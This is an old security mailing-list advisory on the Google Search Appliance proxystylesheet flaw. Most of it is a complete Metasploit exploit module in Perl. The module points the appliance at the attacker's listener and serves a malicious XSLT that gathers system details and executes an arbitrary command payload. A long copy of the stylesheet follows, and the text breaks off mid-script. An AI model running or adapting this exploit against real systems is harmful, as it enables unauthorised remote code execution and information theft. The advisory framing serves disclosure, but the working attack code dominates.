Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Multiple Vulnerabilities Google Search Appliance Proxystylesheet (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit) |
|---|---|
| Date: | 21 Nov 2005 16:10:01 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Multiple Vulnerabilities Google Search Appliance Proxystylesheet (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit) ------------------------------------------------------------------------ SUMMARY "The <http://www.google.com/enterprise/> Google Mini offers cost-effective, high-quality search for your public website or intranet " By supplying a malicious XSLT, attackers may execute arbitrary programs, retrieve system information or cause XSS vulnerabilities in Google's mini appliance. DETAILS Vulnerable Systems: * Google Mini Search Appliance Exploit: # # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. # package Msf::Exploit::google_proxystylesheet_exec; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket; use IO::Select; my $advanced = { }; my $info = { 'Name' => 'Google Appliance ProxyStyleSheet Command Execution', 'Version' => '$Revision: 1.2 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a feature in the Saxon XSLT parser used by the Google Search Appliance. This feature allows for arbitrary java methods to be called. Google released a patch and advisory to their client base in August of 2005 (GA-2005-08-m). The target appliance must be able to connect back to your machine for this exploit to work. }), 'Arch' => [ ], 'OS' => [ ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [ 1, 'HOST', 'The address of the Google appliance'], 'RPORT' => [ 1, 'PORT', 'The port used by the search interface', 80], 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], 'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect back to this system'], }, 'Payload' => { 'Space' => 1024, 'Keys' => [ 'cmd' ], }, 'Refs' => [ ['OSVDB', 20981], ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Google Search Appliance'] ], 'Keys' => [ 'google' ], 'DisclosureDate' => 'Aug 16 2005', }; sub new { my $class = shift; my $self; $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced, }, @_); return $self; } sub Check { my $self = shift; my $s = $self->ConnectSearch; if (! $s) { return $self->CheckCode('Connect'); } my $url = "/search?client=". Pex::Text::AlphaNumText(int(rand(15))+1). "&". "site=".Pex::Text::AlphaNumText(int(rand(15))+1)."&". "output=xml_no_dtd&". "q=".Pex::Text::AlphaNumText(int(rand(15))+1)."&". "proxystylesheet=http://".Pex::Text::AlphaNumText(int(rand(32))+1)."/"; $s->Send("GET $url HTTP/1.0\r\n\r\n"); my $page = $s->Recv(-1, 5); $s->Close; if ($page =~ /cannot be resolved to an ip address/) { $self->PrintLine("[*] This system appears to be vulnerable >:-)"); return $self->CheckCode('Confirmed'); } if ($page =~ /ERROR: Unable to fetch the stylesheet/) { $self->PrintLine("[*] This system appears to be patched"); } $self->PrintLine("[*] This system does not appear to be vulnerable"); return $self->CheckCode('Safe'); } sub Exploit { my $self = shift; my ($s, $page); # Request the index page to obtain a redirect response $s = $self->ConnectSearch || return; $s->Send("GET / HTTP/1.0\r\n\r\n"); $page = $s->Recv(-1, 5); $s->Close; # Parse the redirect to get the client and site values my ($goog_site, $goog_clnt) = $page =~ m/^location.*site=([^\&]+)\&.*client=([^\&]+)\&/im; if (! $goog_site || ! $goog_clnt) { $self->PrintLine("[*] Invalid response to our request, is this a Google appliance?"); return; } # Create the listening local socket that will act as our HTTP server my $lis = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp'); if (not defined($lis)) { $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; } my $sel = IO::Select->new($lis); # Send a search request with our own address in the proxystylesheet parameter my $query = Pex::Text::AlphaNumText(int(rand(32))+1); my $proxy = "http://". ($self->GetVar('HTTPADDR') || Pex::Utils::SourceIP($self->GetVar('RHOST'))). ":".$self->GetVar('HTTPPORT')."/".Pex::Text::AlphaNumText(int(rand(15))+1).".xsl"; my $url = "/search?client=". $goog_clnt ."&site=". $goog_site . "&output=xml_no_dtd&proxystylesheet=". $proxy . "&q=". $query ."&proxyreload=1"; $self->PrintLine("[*] Sending our malicious search request..."); $s = $self->ConnectSearch || return; $s->Send("GET $url HTTP/1.0\r\n\r\n"); $page = $s->Recv(-1, 3); $s->Close; $self->PrintLine("[*] Listening for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ..."); # Did we receive a connection? my @r = $sel->can_read(30); if (! @r) { $self->PrintLine("[*] No connection received from the search engine, possibly patched."); $lis->close; return; } my $c = $lis->accept(); if (! $c) { $self->PrintLine("[*] No connection received from the search engine, possibly patched."); $lis->close; return; } my $cli = Msf::Socket::Tcp->new_from_socket($c); $self->PrintLine("[*] Connection received from ".$cli->PeerAddr."..."); $self->ProcessHTTP($cli); return; } sub ConnectSearch { my $self = shift; my $s = Msf::Socket::Tcp->new( 'PeerAddr' => $self->GetVar('RHOST'), 'PeerPort' => $self->GetVar('RPORT'), 'SSL' => $self->GetVar('SSL') ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } return $s; } sub ProcessHTTP { my $self = shift; my $cli = shift; my $targetIdx = $self->GetVar('TARGET'); my $target = $self->Targets->[$targetIdx]; my $ret = $target->[1]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $content; my $rhost; my $rport; # Read the first line of the HTTP request my ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10)); # The way we call Runtime.getRuntime().exec, Java will split # our string on whitespace. Since we are injecting via XSLT, # inserting quotes becomes a huge pain, so we do this... my $exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' . unpack("H*", $self->GetVar('EncodedPayload')->RawPayload). '}))'; # Load the template from our data section, we have to manually # seek and reposition to allow the exploit to be used more # than once without a reload. seek(DATA, 0, 0); while(<DATA>) { last if /^__DATA__$/ } while(<DATA>) { $content .= $_ } # Insert our command line $content =~ s/:x:MSF:x:/$exec_str/; # Send it to the requesting appliance $rport = $cli->PeerPort; $rhost = $cli->PeerAddr; $self->PrintLine("[*] HTTP Client connected from $rhost, sending XSLT..."); my $res = "HTTP/1.1 200 OK\r\n" . "Content-Type: text/html\r\n" . "Content-Length: " . length($content) . "\r\n" . "Connection: close\r\n" . "\r\n" . $content; $self->PrintLine("[*] Sending ".length($res)." bytes..."); $cli->Send($res); $cli->Close; } 1; # The default Google Mini style sheet is included below, with a few modifications to # the my_page_footer template. __DATA__ < !-- ** START OF STYLESHEET ** -- > < !-- *********************************** XSL to format the search output for Google Search Appliance *********************************** -- > < xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" > < xsl:output method="html"/ > < !-- *********************************** Logo setup (can be customized) - whether to show logo: 0 for FALSE, 1 (or non-zero) for TRUE - logo url - logo size: '' for default image size *********************************** -- > < xsl:variable name="show_logo" >1</xsl:variable > < xsl:variable name="logo_url" >images/Title_Left.gif</xsl:variable > < xsl:variable name="logo_width" >200</xsl:variable > < xsl:variable name="logo_height" >78</xsl:variable > < !-- *********************************** Global Style variables (can be customized): '' for using browser's default *********************************** -- > < xsl:variable name="global_font" >arial,sans-serif</xsl:variable > < xsl:variable name="global_font_size" ></xsl:variable > < xsl:variable name="global_bg_color" >#ffffff</xsl:variable > < xsl:variable name="global_text_color" >#000000</xsl:variable > < xsl:variable name="global_link_color" >#0000cc</xsl:variable > < xsl:variable name="global_vlink_color" >#551a8b</xsl:variable > < xsl:variable name="global_alink_color" >#ff0000</xsl:variable > < !-- *********************************** Result page components (can be customized) - whether to show a component: 0 for FALSE, non-zero (e.g., 1) for TRUE - text and style *********************************** -- > < !-- ** choose result page header: '', 'provided', 'mine', or 'both' ** -- > < xsl:variable name="choose_result_page_header" >both</xsl:variable > < !-- ** customize provided result page header ** -- > < xsl:variable name="show_result_page_adv_link" >1</xsl:variable > < xsl:variable name="adv_search_anchor_text" >Advanced Search</xsl:variable > < xsl:variable name="show_result_page_help_link" >1</xsl:variable > < xsl:variable name="search_help_anchor_text" >Search Tips</xsl:variable > < !-- ** search boxes ** -- > < xsl:variable name="show_top_search_box" >1</xsl:variable > < xsl:variable name="show_bottom_search_box" >1</xsl:variable > < xsl:variable name="search_box_size" >32</xsl:variable > < !-- ** choose search button type: 'text' or 'image' ** -- > < xsl:variable name="choose_search_button" >text</xsl:variable > < xsl:variable name="search_button_text" >Google Search</xsl:variable > < xsl:variable name="search_button_image_url" ></xsl:variable > < xsl:variable name="search_subcollections_xslt" ></xsl:variable > < !-- ** search info bars ** -- > < xsl:variable name="show_search_info" >1</xsl:variable > < !-- ** choose separation bar: 'blue', 'line', 'nothing' ** -- > < xsl:variable name="choose_sep_bar" >blue</xsl:variable > < !-- ** navigation bars: '', 'google', 'link', or 'simple'** -- > < xsl:variable name="show_top_navigation" >0</xsl:variable > < xsl:variable name="choose_bottom_navigation" >google</xsl:variable > < xsl:variable name="my_nav_align" >right</xsl:variable > < xsl:variable name="my_nav_size" >-1</xsl:variable > < xsl:variable name="my_nav_color" >#6f6f6f</xsl:variable > < !-- ** sort by date/relevance ** -- > < xsl:variable name="show_sort_by" >0</xsl:variable > < !-- ** spelling suggestions ** -- > < xsl:variable name="show_spelling" >1</xsl:variable > < xsl:variable name="spelling_text" >Did you mean:</xsl:variable > < xsl:variable name="spelling_text_color" >#cc0000</xsl:variable > < !-- ** synonyms suggestions ** -- > < xsl:variable name="show_synonyms" >1</xsl:variable > < xsl:variable name="synonyms_text" >You could also try:</xsl:variable > < xsl:variable name="synonyms_text_color" >#cc0000</xsl:variable > < !-- ** keymatch suggestions ** -- > < xsl:variable name="show_keymatch" >1</xsl:variable > < xsl:variable name="keymatch_text" >KeyMatch</xsl:variable > < xsl:variable name="keymatch_text_color" >#2255aa</xsl:variable > < xsl:variable name="keymatch_bg_color" >#e8e8ff</xsl:variable > < !-- *********************************** Result elements (can be customized) - whether to show an element ('1' for yes, '0' for no) - font/size/color ('' for using style of the context) *********************************** -- > < !-- ** result title and snippet ** -- > < xsl:variable name="show_res_title" >1</xsl:variable > < xsl:variable name="res_title_color" >#0000cc</xsl:variable > < xsl:variable name="res_title_size" ></xsl:variable > < xsl:variable name="show_res_snippet" >1</xsl:variable > < xsl:variable name="res_snippet_size" >80%</xsl:variable > < !-- ** keyword match (in title or snippet) ** -- > < xsl:variable name="res_keyword_color" ></xsl:variable > < xsl:variable name="res_keyword_size" ></xsl:variable > < xsl:variable name="res_keyword_format" >b</xsl:variable > <!-- 'b' for bold -- > < !-- ** link URL ** -- > < xsl:variable name="show_res_url" >1</xsl:variable > < xsl:variable name="res_url_color" >#008000</xsl:variable > < xsl:variable name="res_url_size" >-1</xsl:variable > < !-- ** misc elements ** -- > < xsl:variable name="show_res_description" >1</xsl:variable > < xsl:variable name="show_res_size" >1</xsl:variable > < xsl:variable name="show_res_date" >1</xsl:variable > < xsl:variable name="show_res_cache" >1</xsl:variable > < !-- ** used in result cache link, similar pages link, and description ** -- > < xsl:variable name="faint_color" >#6f6f6f</xsl:variable > < !-- ** show secure results radio button ** -- > < xsl:variable name="show_secure_radio" >0</xsl:variable > < !-- *********************************** Other variables (can be customized) *********************************** -- > < !-- ** page title ** -- > < xsl:variable name="front_page_title" >Search Home</xsl:variable > < xsl:variable name="result_page_title" >Search Results</xsl:variable > < xsl:variable name="adv_page_title" >Advanced Search</xsl:variable > < xsl:variable name="error_page_title" >Error</xsl:variable > < !-- ** choose adv_search page header: '', 'provided', 'mine', or 'both' ** -- > < xsl:variable name="choose_adv_search_page_header" >both</xsl:variable > < !-- ** cached page header text ** -- > < xsl:variable name="cached_page_header_text" >This is the cached copy of </xsl:variable > < !-- ** error message text ** -- > < xsl:variable name="xml_error_msg_text" >Unknown XML result type.</xsl:variable > < xsl:variable name="xml_error_des_text" >View page source to see the offending XML.</xsl:variable > < !-- ** advanced search page panel background color ** -- > < xsl:variable name="adv_search_panel_bgcolor" >#cbdced</xsl:variable > < !-- *********************************** My global page header/footer (can be customized) *********************************** -- > < xsl:template name="my_page_header" > <!-- ** replace the following with your own xhtml code or replace the text between the xsl:text tags with html escaped html code ** -- > <xsl:text disable-output-escaping="yes" > <!-- Please enter html code below. -- ></xsl:text > < /xsl:template > < xsl:template name="my_page_footer" xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System" xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
< !-- Google XSLT Code Execution [metasploit] -- >
XSLT Version: <xsl:value-of select="system-property('xsl:version')"/ > <br
/ >
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" / > <br
/ >
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" / > <br
/ >
OS: <xsl:value-of select="sys:getProperty('os.name')" / > <br / >
Version: <xsl:value-of select="sys:getProperty('os.version')" / > <br / >
Arch: <xsl:value-of select="sys:getProperty('os.arch')" / > <br / >
UserName: <xsl:value-of select="sys:getProperty('user.name')" / > <br / >
UserHome: <xsl:value-of select="sys:getProperty('user.home')" / > <br / >
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" / > <br / >
Executing command...<br / >
< xsl:value-of select="run:exec(run:getRuntime(), ':x:MSF:x:')" / >
<xsl:text disable-output-escaping="yes" > <!-- Please enter html code
below. -- ></xsl:text >
</span >
< /xsl:template >
< !-- ***********************************
Logo template (can be customized)
*********************************** -- >
< xsl:template name="logo" >
<a href="{$home_url}" ><img src="{$logo_url}"
width="{$logo_width}" height="{$logo_height}"
alt="Go to Search Home" border="0" / ></a >
< /xsl:template >
< !-- ***********************************
Search result page header (can be customized): logo and search box
*********************************** -- >
< xsl:template name="result_page_header" >
<table border="0" cellpadding="0" cellspacing="0" >
<tr >
<xsl:if test="$show_logo != '0'" >
<td rowspan="3" valign="top" >
<xsl:call-template name="logo"/ >
<xsl:call-template name="nbsp3"/ >
</td >
</xsl:if >
<td nowrap="1" >
<font size="-1" >
<xsl:if test="$show_result_page_adv_link != '0'" >
<a href="{$adv_search_url}" >
<xsl:value-of select="$adv_search_anchor_text"/ >
</a >
<xsl:call-template name="nbsp4"/ >
</xsl:if >
<xsl:if test="$show_result_page_help_link != '0'" >
<a href="{$help_url}" >
<xsl:value-of select="$search_help_anchor_text"/ >
</a >
</xsl:if >
<br/ >
</font >
</td >
</tr >
<xsl:if test="$show_top_search_box != '0'" >
<tr >
<td valign="middle" >
<xsl:call-template name="search_box"/ >
</td >
</tr >
</xsl:if >
<xsl:if test="/GSP/CT" >
<tr >
<td valign="top" >
<br/ >
<xsl:call-template name="stopwords"/ >
<br/ >
</td >
</tr >
</xsl:if >
</table >
< /xsl:template >
< !-- ***********************************
Separation bar variables (used in advanced search header and result page)
*********************************** -- >
< xsl:variable name="sep_bar_bg_color" >
<xsl:choose >
<xsl:when test="$choose_sep_bar = 'blue'" >#3366cc</xsl:when >
<xsl:otherwise ><xsl:value-of select="$global_bg_color"/
</xsl:otherwise >
</xsl:choose > < /xsl:variable > < xsl:variable name="sep_bar_text_color" > <xsl:choose > <xsl:when test="$choose_sep_bar = 'blue'" >#ffffff</xsl:when > <xsl:otherwise ><xsl:value-of select="$global_text_color"/
</xsl:otherwise >
</xsl:choose >
< /xsl:variable >
< !-- ***********************************
Advanced search page header HTML (can be customized)
*********************************** -- >
< xsl:template name="advanced_search_header" >
<table width="99%" border="0" cellpadding="0" cellspacing="2" >
<tr >
<xsl:if test="$show_logo != '0'" >
<td rowspan="2" width="1%" >
<table cellpadding="0" cellspacing="0" border="0" >
<tr >
<td align="right" valign="bottom" >
<xsl:call-template name="logo"/ ></td >
</tr >
</table >
</td >
</xsl:if >
<td valign="bottom" align="right" ><font size="-1" class="p" ></font
</td >
</tr >
<tr >
<td valign="middle" >
<table cellspacing="2" cellpadding="2" border="0" width="100%" >
<tr bgcolor="{$sep_bar_bg_color}" >
<td ><font face="{$global_font}" color="{$sep_bar_text_color}" >
<b ><xsl:call-template name="nbsp"/ >
<xsl:value-of select="$adv_page_title"/ ></b >
</font >
</td >
</tr >
</table >
</td >
</tr >
</table >
< /xsl:template >
< !-- ***********************************
Cached page header (can be customized)
*********************************** -- >
< xsl:template name="cached_page_header" >
<xsl:param name="cached_page_url"/ >
< table border="1" width="100%" >
<tr >
<td >
<table border="1" width="100%" cellpadding="10" cellspacing="0"
bgcolor="{$global_bg_color}" color="{$global_bg_color}" >
<tr >
<td >
<font face="{$global_font}" color="{$global_text_color}" size="-1" >
<xsl:value-of select="$cached_page_header_text"/ >
<a href="{$cached_page_url}" ><font color="{$global_link_color}" >
<xsl:value-of select="$cached_page_url"/ ></font ></a >.<br/ >
</font >
</td >
</tr >
</table >
</td >
</tr >
< /table >
< hr/ >
< /xsl:template >
< !-- ***********************************
"Front door" search input page (can be customized)
*********************************** -- >
< xsl:template name="front_door" >
< html >
<xsl:call-template name="langHeadStart"/ >
<title ><xsl:value-of select="$front_page_title"/ ></title >
<xsl:call-template name="style"/ >
<xsl:call-template name="langHeadEnd"/ >
<body >
<xsl:call-template name="my_page_header"/ >
<xsl:call-template name="result_page_header"/ >
<hr/ >
<xsl:call-template name="copyright"/ >
<xsl:call-template name="my_page_footer"/ >
</body >
< /html >
< /xsl:template >
< !-- ***********************************
Empty result set (can be customized)
*********************************** -- >
< xsl:template name="no_RES" >
<xsl:param name="query"/ >
<span class="p" >
<br/ >
Your search - <b ><xsl:value-of disable-output-escaping="yes"
select="$query"/ ></b > - did not match any documents.
<br/ >
No pages were found containing <b >"<xsl:value-of
disable-output-escaping="yes" select="$query"/ >"</b >.
<br/ >
<br/ >
Suggestions:
<ul >
<li >Make sure all words are spelled correctly.</li >
<li >Try different keywords.</li >
<li >Try more general keywords.</li >
</ul >
</span >
< /xsl:template >
< !-- ###################################
We do not recommend changes to the following code. Google Technical
Support Personnel currently do not support customization of XSLT under
these Technical Support Services Guidelines. Such services may be
provided on a consulting basis, at Google's then-current consulting
services rates under a separate agreement, if Google personnel are
available. Please ask your Google Account Manager for more details if
you are interested in purchasing consulting services.
################################### -- >
< !-- ***********************************
Global Style (do not customize)
default font type/size/color, background color, link color
using HTML CSS (Cascading Style Sheets)
*********************************** -- >
< xsl:template name="style" >
< style >
< xsl:comment >
body,.d,.p,.s{background-color:<xsl:value-of select="$global_bg_color"/ >}
body,td,div,.p,a,.d,.s{font-family:<xsl:value-of select="$global_font"/ >}
body,td,div,.p,a,.d{font-size: <xsl:value-of select="$global_font_size"/
}
body,div,td,.p,.s{color:<xsl:value-of select="$global_text_color"/ >}
s,.f,.f a{font-size: <xsl:value-of select="$res_snippet_size"/ >}
l{font-size: <xsl:value-of select="$res_title_size"/ >}
l{color: <xsl:value-of select="$res_title_color"/ >}
a:link,.w,.w a:link{color:<xsl:value-of select="$global_link_color"/ >}
a:visited,.f a:visited{color:<xsl:value-of select="$global_vlink_color"/
}
a:active,.f a:active{color:<xsl:value-of select="$global_alink_color"/ >}
t{color:<xsl:value-of select="$sep_bar_text_color"/ >}
t{background-color:<xsl:value-of select="$sep_bar_bg_color"/ >}
z{display:none}
f,.f:link,.f a:link{color:<xsl:value-of select="$faint_color"/ >}
i,.i:link{color:#a90a08}
a,.a:link{color:<xsl:value-of select="$res_url_color"/ >}
div.n {margin-top: 1ex}
n a{font-size: 10pt; color:<xsl:value-of select="$global_text_color"/ >}
n .i{font-size: 10pt; font-weight:bold}
q a:visited,.q a:link,.q a:active,.q {text-decoration: none;
color:#0000cc;}
b,.b a{font-size: 12pt; color:#0000cc; font-weight:bold}
d{font-family:<xsl:value-of select="$global_font"/ >;
margin-right:1em; margin-left:1em;}
< /xsl:comment >
< /style >
< /xsl:template >
< !-- ***********************************
URL variables (do not customize)
*********************************** -- >
< !-- ** help_url: search tip URL (html file) ** -- >
< xsl:variable name="help_url" >/basics.html</xsl:variable >
< !-- ** base_url: collection info ** -- >
< xsl:variable name="base_url" ><xsl:for-each
select="/GSP/PARAM[@name = 'client' or
@name = 'site' or
@name = 'num' or
@name = 'output' or
@name = 'proxystylesheet' or
@name = 'sitesearch' or
@name = 'access' or
(@name = 'restrict' and
$search_subcollections_xslt = '') or
@name = 'lr' or
@name = 'ie' or
@name = 'oe']" ><xsl:value-of select="@name"
/ >=<xsl:value-of select="@original_value"
/ ><xsl:if test="position() != last()" >&</xsl:if ></xsl:for-each >
< /xsl:variable >
< !-- ** home_url: /search? + collection info + &proxycustom=<HOME/ > **
-- >
< xsl:variable name="home_url" >/search?<xsl:value-of select="$base_url"
/ >&proxycustom=<HOME/></xsl:variable >
< !-- ** nav_url: does not include q, as_, start elements ** -- >
< xsl:variable name="nav_url" ><xsl:for-each
select="/GSP/PARAM[(@name != 'q') and
not(contains(@name, 'as_')) and
(@name != 'start')]" >
<xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
<xsl:value-of select="@original_value"/ >
<xsl:if test="position() != last()" >
<xsl:text disable-output-escaping="yes" >&</xsl:text >
</xsl:if >
</xsl:for-each >
< /xsl:variable >
< !-- ** synonym_url: does not include q, as_q, and start elements ** -- >
< xsl:variable name="synonym_url" ><xsl:for-each
select="/GSP/PARAM[(@name != 'q') and
(@name != 'as_q') and
(@name != 'start')]" >
<xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
<xsl:value-of select="@original_value"/ >
<xsl:if test="position() != last()" >
<xsl:text disable-output-escaping="yes" >&</xsl:text >
</xsl:if >
</xsl:for-each >
< /xsl:variable >
< !-- ** search_url: $nav_url + query elements ** -- >
< xsl:variable name="search_url" ><xsl:for-each
select="/GSP/PARAM[(@name != 'start')]" >
<xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
<xsl:value-of select="@original_value"/ >
<xsl:if test="position() != last()" >
<xsl:text disable-output-escaping="yes" >&</xsl:text >
</xsl:if >
</xsl:for-each >
< /xsl:variable >
< !-- ** filter_url: everything except resetting "filter=" ** -- >
< xsl:variable name="filter_url" >/search?<xsl:for-each
select="/GSP/PARAM[(@name != 'filter')]" >
<xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
<xsl:value-of select="@original_value"/ >
<xsl:text disable-output-escaping="yes" >&</xsl:text >
</xsl:for-each ><xsl:text >filter=</xsl:text >
< /xsl:variable >
< !-- ** adv_search_url: /search? + $search_url + as_q=$q ** -- >
< xsl:variable name="adv_search_url" >/search?<xsl:value-of
select="$search_url"/ >&proxycustom=<ADVANCED/></xsl:variable >
< !-- ***********************************
Search Parameters (do not customize)
*********************************** -- >
< !-- ** num_results: actual num_results per page ** -- >
< xsl:variable name="num_results" >
<xsl:choose >
<xsl:when test="/GSP/PARAM[(@name='num') and (@value!='')]" >
<xsl:value-of select="/GSP/PARAM[@name='num']/@value"/ >
</xsl:when >
<xsl:otherwise >
<xsl:value-of select="10"/ >
</xsl:otherwise >
</xsl:choose >
< /xsl:variable >
< !-- ** form_params: parameters carried by the search input form ** -- >
< xsl:template name="form_params" >
<xsl:for-each
select="PARAM[@name != 'q' and
not(contains(@name, 'as_')) and
@name != 'btnG' and
@name != 'btnI' and
@name != 'filter' and
@name != 'start' and
@name != 'access' and
@name != 'ip']" >
<xsl:if test="@name != 'restrict' or $search_subcollections_xslt = ''" >
<input type="hidden" name="{@name}" value="{@value}" / >
</xsl:if >
<xsl:text >
</xsl:text >
</xsl:for-each >
< /xsl:template >
< !-- ** html_escaped_query: q = /GSP/Q ** -- >
< xsl:variable name="qval" >
<xsl:value-of select="/GSP/Q"/ >
< /xsl:variable >
< xsl:variable name="html_escaped_query" >
<xsl:value-of select="normalize-space($qval)"
disable-output-escaping="yes"/ >
< /xsl:variable >
< !-- ** stripped_search_query: q, as_q, ... for cache highlight ** -- >
< xsl:variable name="stripped_search_query" ><xsl:for-each
select="/GSP/PARAM[(@name = 'q') or
(@name = 'as_q') or
(@name = 'as_oq') or
(@name = 'as_epq')]" ><xsl:value-of select="@original_value"
/ ><xsl:if test="position() != last()"
><xsl:text disable-output-escaping="yes" >+</xsl:text
></xsl:if ></xsl:for-each >
< /xsl:variable >
< xsl:variable name="access" >
<xsl:choose >
<xsl:when test="/GSP/PARAM[(@name='access') and ((@value='s') or
(@value='a'))]" >
<xsl:value-of select="/GSP/PARAM[@name='access']/@original_value"/ >
</xsl:when >
<xsl:otherwise >p</xsl:otherwise >
</xsl:choose >
< /xsl:variable >
< !-- ***********************************
Figure out what kind of page this is (do not customize)
*********************************** -- >
< xsl:template match="GSP" >
<xsl:choose >
<xsl:when test="Q" >
<xsl:call-template name="search_results"/ >
</xsl:when >
<xsl:when test="CACHE" >
<xsl:call-template name="cached_page"/ >
</xsl:when >
<xsl:when test="CUSTOM/HOME" >
<xsl:call-template name="front_door"/ >
</xsl:when >
<xsl:when test="CUSTOM/ADVANCED" >
<xsl:call-template name="advanced_search"/ >
</xsl:when >
<xsl:when test="H1" >
<xsl:call-template name="server_error"/ >
</xsl:when >
<xsl:otherwise >
<xsl:call-template name="error_page" >
<xsl:with-param name="errorMessage" select="$xml_error_msg_text"/ >
<xsl:with-param name="errorDescription" select="$xml_error_des_text"/
</xsl:call-template >
</xsl:otherwise >
</xsl:choose >
< /xsl:template >
< !-- ***********************************
Cached page (do not customize)
*********************************** -- >
< xsl:template name="cached_page" >
< xsl:variable name="cached_page_url" select="CACHE/CACHE_URL"/ >
< xsl:variable name="cached_page_html" select="CACHE/CACHE_HTML"/ >
< !-- ** decide whether to load html page or pdf file ** -- >
< xsl:if test="'.pdf' != substring($cached_page_url,
1 + string-length($cached_page_url) - string-length('.pdf'))" >
<base href="{$cached_page_url}"/ >
< /xsl:if >
< !-- ** display cache page header ** -- >
< xsl:call-template name="cached_page_header" >
<xsl:with-param name="cached_page_url" select="$cached_page_url"/ >
< /xsl:call-template >
< !-- ** display cached contents ** -- >
< xsl:value-of select="$cached_page_html" disable-output-escaping="yes"/ >
< /xsl:template >
< xsl:template name="escape_quot" >
<xsl:param name="string"/ >
<xsl:call-template name="replace_string" >
<xsl:with-param name="find" select="'"'"/ >
<xsl:with-param name="replace" select="'"'"/ >
<xsl:with-param name="string" select="$string"/ >
</xsl:call-template >
< /xsl:template >
< !-- ***********************************
Advanced search page (do not customize)
*********************************** -- >
< xsl:template name="advanced_search" >
< xsl:variable name="html_escaped_as_q" >
<xsl:call-template name="escape_quot" >
<xsl:with-param name="string" select="/GSP/PARAM[@name='q']/@value"/ >
</xsl:call-template >
<xsl:call-template name="escape_quot" >
<xsl:with-param name="string" select="/GSP/PARAM[@name='as_q']/@value"/
</xsl:call-template >
< /xsl:variable >
< xsl:variable name="html_escaped_as_epq" >
<xsl:call-template name="escape_quot" >
<xsl:with-param name="string"
select="/GSP/PARAM[@name='as_epq']/@value"/ >
</xsl:call-template >
< /xsl:variable >
< xsl:variable name="html_escaped_as_oq" >
<xsl:call-template name="escape_quot" >
<xsl:with-param name="string"
select="/GSP/PARAM[@name='as_oq']/@value"/ >
</xsl:call-template >
< /xsl:variable >
< xsl:variable name="html_escaped_as_eq" >
<xsl:call-template name="escape_quot" >
<xsl:with-param name="string"
select="/GSP/PARAM[@name='as_eq']/@value"/ >
</xsl:call-template >
< /xsl:variable >
< html >
< xsl:call-template name="langHeadStart"/ >
< title ><xsl:value-of select="$adv_page_title"/ ></title >
< xsl:call-template name="style"/ >
< !-- script type="text/javascript" -- >
< script >
< xsl:comment >
function setFocus() {
document.f.as_q.focus(); }
function esc(x){
x = escape(x).replace(/\+/g, "%2b");
if (x.substring(0,2)=="\%u") x="";
return x;
}
function collecturl(target, custom) {
var p = new Array();var i = 0;var url="";var z = document.f;
if (z.as_q.value.length) {p[i++] = 'as_q=' + esc(z.as_q.value);}
if (z.as_epq.value.length) {p[i++] = 'as_epq=' + esc(z.as_epq.value);}
if (z.as_oq.value.length) {p[i++] = 'as_oq=' + esc(z.as_oq.value);}
if (z.as_eq.value.length) {p[i++] = 'as_eq=' + esc(z.as_eq.value);}
if (z.as_sitesearch.value.length)
{p[i++]='as_sitesearch='+esc(z.as_sitesearch.value);}
if (z.as_lq.value.length) {p[i++] = 'as_lq=' + esc(z.as_lq.value);}
if (z.as_occt.options[z.as_occt.selectedIndex].value.length)
{p[i++]='as_occt='+esc(z.as_occt.options[z.as_occt.selectedIndex].value);}
if (z.as_dt.options[z.as_dt.selectedIndex].value.length)
{p[i++]='as_dt='+esc(z.as_dt.options[z.as_dt.selectedIndex].value);}
if (z.lr.options[z.lr.selectedIndex].value != '') {p[i++] = 'lr=' +
z.lr.options[z.lr.selectedIndex].value;}
if (z.num.options[z.num.selectedIndex].value != '10')
{p[i++] = 'num=' + z.num.options[z.num.selectedIndex].value;}
if (z.sort.options[z.sort.selectedIndex].value != '')
{p[i++] = 'sort=' + z.sort.options[z.sort.selectedIndex].value;}
if (typeof(z.client) != 'undefined')
{p[i++] = 'client=' + esc(z.client.value);}
